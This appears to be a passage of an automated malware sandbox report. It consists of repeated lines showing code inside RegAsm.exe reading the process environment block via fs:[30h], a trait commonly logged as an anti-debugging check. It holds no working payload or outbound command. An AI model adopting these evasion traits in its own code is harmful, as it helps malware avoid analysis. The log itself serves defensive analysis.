Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0291DB40 mov eax, dword ptr fs:[00000030h] 15_2_0291DB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02943B7A mov eax, dword ptr fs:[00000030h] 15_2_02943B7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02943B7A mov eax, dword ptr fs:[00000030h] 15_2_02943B7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0291DB60 mov ecx, dword ptr fs:[00000030h] 15_2_0291DB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02919080 mov eax, dword ptr fs:[00000030h] 15_2_02919080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02993884 mov eax, dword ptr fs:[00000030h] 15_2_02993884
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02993884 mov eax, dword ptr fs:[00000030h] 15_2_02993884
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294F0BF mov ecx, dword ptr fs:[00000030h] 15_2_0294F0BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294F0BF mov eax, dword ptr fs:[00000030h] 15_2_0294F0BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294F0BF mov eax, dword ptr fs:[00000030h] 15_2_0294F0BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029420A0 mov eax, dword ptr fs:[00000030h] 15_2_029420A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029420A0 mov eax, dword ptr fs:[00000030h] 15_2_029420A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029420A0 mov eax, dword ptr fs:[00000030h] 15_2_029420A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029420A0 mov eax, dword ptr fs:[00000030h] 15_2_029420A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029420A0 mov eax, dword ptr fs:[00000030h] 15_2_029420A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029420A0 mov eax, dword ptr fs:[00000030h] 15_2_029420A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029590AF mov eax, dword ptr fs:[00000030h] 15_2_029590AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029AB8D0 mov eax, dword ptr fs:[00000030h] 15_2_029AB8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029AB8D0 mov ecx, dword ptr fs:[00000030h] 15_2_029AB8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029AB8D0 mov eax, dword ptr fs:[00000030h] 15_2_029AB8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029AB8D0 mov eax, dword ptr fs:[00000030h] 15_2_029AB8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029AB8D0 mov eax, dword ptr fs:[00000030h] 15_2_029AB8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029AB8D0 mov eax, dword ptr fs:[00000030h] 15_2_029AB8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029140E1 mov eax, dword ptr fs:[00000030h] 15_2_029140E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029140E1 mov eax, dword ptr fs:[00000030h] 15_2_029140E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029140E1 mov eax, dword ptr fs:[00000030h] 15_2_029140E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029158EC mov eax, dword ptr fs:[00000030h] 15_2_029158EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E4015 mov eax, dword ptr fs:[00000030h] 15_2_029E4015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E4015 mov eax, dword ptr fs:[00000030h] 15_2_029E4015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02997016 mov eax, dword ptr fs:[00000030h] 15_2_02997016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02997016 mov eax, dword ptr fs:[00000030h] 15_2_02997016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02997016 mov eax, dword ptr fs:[00000030h] 15_2_02997016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0292B02A mov eax, dword ptr fs:[00000030h] 15_2_0292B02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0292B02A mov eax, dword ptr fs:[00000030h] 15_2_0292B02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0292B02A mov eax, dword ptr fs:[00000030h] 15_2_0292B02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0292B02A mov eax, dword ptr fs:[00000030h] 15_2_0292B02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294002D mov eax, dword ptr fs:[00000030h] 15_2_0294002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294002D mov eax, dword ptr fs:[00000030h] 15_2_0294002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294002D mov eax, dword ptr fs:[00000030h] 15_2_0294002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294002D mov eax, dword ptr fs:[00000030h] 15_2_0294002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294002D mov eax, dword ptr fs:[00000030h] 15_2_0294002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02930050 mov eax, dword ptr fs:[00000030h] 15_2_02930050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02930050 mov eax, dword ptr fs:[00000030h] 15_2_02930050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E1074 mov eax, dword ptr fs:[00000030h] 15_2_029E1074
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D2073 mov eax, dword ptr fs:[00000030h] 15_2_029D2073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02942990 mov eax, dword ptr fs:[00000030h] 15_2_02942990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294A185 mov eax, dword ptr fs:[00000030h] 15_2_0294A185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0293C182 mov eax, dword ptr fs:[00000030h] 15_2_0293C182
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029951BE mov eax, dword ptr fs:[00000030h] 15_2_029951BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029951BE mov eax, dword ptr fs:[00000030h] 15_2_029951BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029951BE mov eax, dword ptr fs:[00000030h] 15_2_029951BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029951BE mov eax, dword ptr fs:[00000030h] 15_2_029951BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029461A0 mov eax, dword ptr fs:[00000030h] 15_2_029461A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029461A0 mov eax, dword ptr fs:[00000030h] 15_2_029461A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D49A4 mov eax, dword ptr fs:[00000030h] 15_2_029D49A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D49A4 mov eax, dword ptr fs:[00000030h] 15_2_029D49A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D49A4 mov eax, dword ptr fs:[00000030h] 15_2_029D49A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D49A4 mov eax, dword ptr fs:[00000030h] 15_2_029D49A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029969A6 mov eax, dword ptr fs:[00000030h] 15_2_029969A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0291B1E1 mov eax, dword ptr fs:[00000030h] 15_2_0291B1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0291B1E1 mov eax, dword ptr fs:[00000030h] 15_2_0291B1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0291B1E1 mov eax, dword ptr fs:[00000030h] 15_2_0291B1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029A41E8 mov eax, dword ptr fs:[00000030h] 15_2_029A41E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02919100 mov eax, dword ptr fs:[00000030h] 15_2_02919100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02919100 mov eax, dword ptr fs:[00000030h] 15_2_02919100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02919100 mov eax, dword ptr fs:[00000030h] 15_2_02919100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294513A mov eax, dword ptr fs:[00000030h] 15_2_0294513A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294513A mov eax, dword ptr fs:[00000030h] 15_2_0294513A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02934120 mov eax, dword ptr fs:[00000030h] 15_2_02934120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02934120 mov eax, dword ptr fs:[00000030h] 15_2_02934120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02934120 mov eax, dword ptr fs:[00000030h] 15_2_02934120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02934120 mov eax, dword ptr fs:[00000030h] 15_2_02934120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02934120 mov ecx, dword ptr fs:[00000030h] 15_2_02934120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0293B944 mov eax, dword ptr fs:[00000030h] 15_2_0293B944
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0293B944 mov eax, dword ptr fs:[00000030h] 15_2_0293B944
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0291B171 mov eax, dword ptr fs:[00000030h] 15_2_0291B171
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0291B171 mov eax, dword ptr fs:[00000030h] 15_2_0291B171
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0291C962 mov eax, dword ptr fs:[00000030h] 15_2_0291C962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029AFE87 mov eax, dword ptr fs:[00000030h] 15_2_029AFE87
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E0EA5 mov eax, dword ptr fs:[00000030h] 15_2_029E0EA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E0EA5 mov eax, dword ptr fs:[00000030h] 15_2_029E0EA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E0EA5 mov eax, dword ptr fs:[00000030h] 15_2_029E0EA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029946A7 mov eax, dword ptr fs:[00000030h] 15_2_029946A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E8ED6 mov eax, dword ptr fs:[00000030h] 15_2_029E8ED6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02958EC7 mov eax, dword ptr fs:[00000030h] 15_2_02958EC7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029436CC mov eax, dword ptr fs:[00000030h] 15_2_029436CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029CFEC0 mov eax, dword ptr fs:[00000030h] 15_2_029CFEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029276E2 mov eax, dword ptr fs:[00000030h] 15_2_029276E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029416E0 mov ecx, dword ptr fs:[00000030h] 15_2_029416E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294A61C mov eax, dword ptr fs:[00000030h] 15_2_0294A61C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294A61C mov eax, dword ptr fs:[00000030h] 15_2_0294A61C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0291C600 mov eax, dword ptr fs:[00000030h] 15_2_0291C600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0291C600 mov eax, dword ptr fs:[00000030h] 15_2_0291C600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0291C600 mov eax, dword ptr fs:[00000030h] 15_2_0291C600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02948E00 mov eax, dword ptr fs:[00000030h] 15_2_02948E00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D1608 mov eax, dword ptr fs:[00000030h] 15_2_029D1608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029CFE3F mov eax, dword ptr fs:[00000030h] 15_2_029CFE3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0291E620 mov eax, dword ptr fs:[00000030h] 15_2_0291E620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02927E41 mov eax, dword ptr fs:[00000030h] 15_2_02927E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02927E41 mov eax, dword ptr fs:[00000030h] 15_2_02927E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02927E41 mov eax, dword ptr fs:[00000030h] 15_2_02927E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02927E41 mov eax, dword ptr fs:[00000030h] 15_2_02927E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02927E41 mov eax, dword ptr fs:[00000030h] 15_2_02927E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02927E41 mov eax, dword ptr fs:[00000030h] 15_2_02927E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029DAE44 mov eax, dword ptr fs:[00000030h] 15_2_029DAE44
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029DAE44 mov eax, dword ptr fs:[00000030h] 15_2_029DAE44
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0293AE73 mov eax, dword ptr fs:[00000030h] 15_2_0293AE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0293AE73 mov eax, dword ptr fs:[00000030h] 15_2_0293AE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0293AE73 mov eax, dword ptr fs:[00000030h] 15_2_0293AE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0293AE73 mov eax, dword ptr fs:[00000030h] 15_2_0293AE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0293AE73 mov eax, dword ptr fs:[00000030h] 15_2_0293AE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0292766D mov eax, dword ptr fs:[00000030h] 15_2_0292766D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02928794 mov eax, dword ptr fs:[00000030h] 15_2_02928794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02997794 mov eax, dword ptr fs:[00000030h] 15_2_02997794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02997794 mov eax, dword ptr fs:[00000030h] 15_2_02997794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02997794 mov eax, dword ptr fs:[00000030h] 15_2_02997794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029537F5 mov eax, dword ptr fs:[00000030h] 15_2_029537F5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0293F716 mov eax, dword ptr fs:[00000030h] 15_2_0293F716
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029AFF10 mov eax, dword ptr fs:[00000030h] 15_2_029AFF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029AFF10 mov eax, dword ptr fs:[00000030h] 15_2_029AFF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E070D mov eax, dword ptr fs:[00000030h] 15_2_029E070D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E070D mov eax, dword ptr fs:[00000030h] 15_2_029E070D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294A70E mov eax, dword ptr fs:[00000030h] 15_2_0294A70E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294A70E mov eax, dword ptr fs:[00000030h] 15_2_0294A70E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294E730 mov eax, dword ptr fs:[00000030h] 15_2_0294E730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02914F2E mov eax, dword ptr fs:[00000030h] 15_2_02914F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02914F2E mov eax, dword ptr fs:[00000030h] 15_2_02914F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0292EF40 mov eax, dword ptr fs:[00000030h] 15_2_0292EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0292FF60 mov eax, dword ptr fs:[00000030h] 15_2_0292FF60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E8F6A mov eax, dword ptr fs:[00000030h] 15_2_029E8F6A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0292849B mov eax, dword ptr fs:[00000030h] 15_2_0292849B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E8CD6 mov eax, dword ptr fs:[00000030h] 15_2_029E8CD6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D14FB mov eax, dword ptr fs:[00000030h] 15_2_029D14FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02996CF0 mov eax, dword ptr fs:[00000030h] 15_2_02996CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02996CF0 mov eax, dword ptr fs:[00000030h] 15_2_02996CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02996CF0 mov eax, dword ptr fs:[00000030h] 15_2_02996CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E740D mov eax, dword ptr fs:[00000030h] 15_2_029E740D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E740D mov eax, dword ptr fs:[00000030h] 15_2_029E740D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E740D mov eax, dword ptr fs:[00000030h] 15_2_029E740D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02996C0A mov eax, dword ptr fs:[00000030h] 15_2_02996C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02996C0A mov eax, dword ptr fs:[00000030h] 15_2_02996C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02996C0A mov eax, dword ptr fs:[00000030h] 15_2_02996C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02996C0A mov eax, dword ptr fs:[00000030h] 15_2_02996C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D1C06 mov eax, dword ptr fs:[00000030h] 15_2_029D1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D1C06 mov eax, dword ptr fs:[00000030h] 15_2_029D1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D1C06 mov eax, dword ptr fs:[00000030h] 15_2_029D1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D1C06 mov eax, dword ptr fs:[00000030h] 15_2_029D1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D1C06 mov eax, dword ptr fs:[00000030h] 15_2_029D1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D1C06 mov eax, dword ptr fs:[00000030h] 15_2_029D1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D1C06 mov eax, dword ptr fs:[00000030h] 15_2_029D1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D1C06 mov eax, dword ptr fs:[00000030h] 15_2_029D1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D1C06 mov eax, dword ptr fs:[00000030h] 15_2_029D1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D1C06 mov eax, dword ptr fs:[00000030h] 15_2_029D1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D1C06 mov eax, dword ptr fs:[00000030h] 15_2_029D1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D1C06 mov eax, dword ptr fs:[00000030h] 15_2_029D1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D1C06 mov eax, dword ptr fs:[00000030h] 15_2_029D1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D1C06 mov eax, dword ptr fs:[00000030h] 15_2_029D1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294BC2C mov eax, dword ptr fs:[00000030h] 15_2_0294BC2C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029AC450 mov eax, dword ptr fs:[00000030h] 15_2_029AC450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029AC450 mov eax, dword ptr fs:[00000030h] 15_2_029AC450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294A44B mov eax, dword ptr fs:[00000030h] 15_2_0294A44B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0293746D mov eax, dword ptr fs:[00000030h] 15_2_0293746D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294FD9B mov eax, dword ptr fs:[00000030h] 15_2_0294FD9B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294FD9B mov eax, dword ptr fs:[00000030h] 15_2_0294FD9B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02942581 mov eax, dword ptr fs:[00000030h] 15_2_02942581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02942581 mov eax, dword ptr fs:[00000030h] 15_2_02942581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02942581 mov eax, dword ptr fs:[00000030h] 15_2_02942581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02942581 mov eax, dword ptr fs:[00000030h] 15_2_02942581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02912D8A mov eax, dword ptr fs:[00000030h] 15_2_02912D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02912D8A mov eax, dword ptr fs:[00000030h] 15_2_02912D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02912D8A mov eax, dword ptr fs:[00000030h] 15_2_02912D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02912D8A mov eax, dword ptr fs:[00000030h] 15_2_02912D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02912D8A mov eax, dword ptr fs:[00000030h] 15_2_02912D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02941DB5 mov eax, dword ptr fs:[00000030h] 15_2_02941DB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02941DB5 mov eax, dword ptr fs:[00000030h] 15_2_02941DB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02941DB5 mov eax, dword ptr fs:[00000030h] 15_2_02941DB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E05AC mov eax, dword ptr fs:[00000030h] 15_2_029E05AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E05AC mov eax, dword ptr fs:[00000030h] 15_2_029E05AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029435A1 mov eax, dword ptr fs:[00000030h] 15_2_029435A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02996DC9 mov eax, dword ptr fs:[00000030h] 15_2_02996DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02996DC9 mov eax, dword ptr fs:[00000030h] 15_2_02996DC9
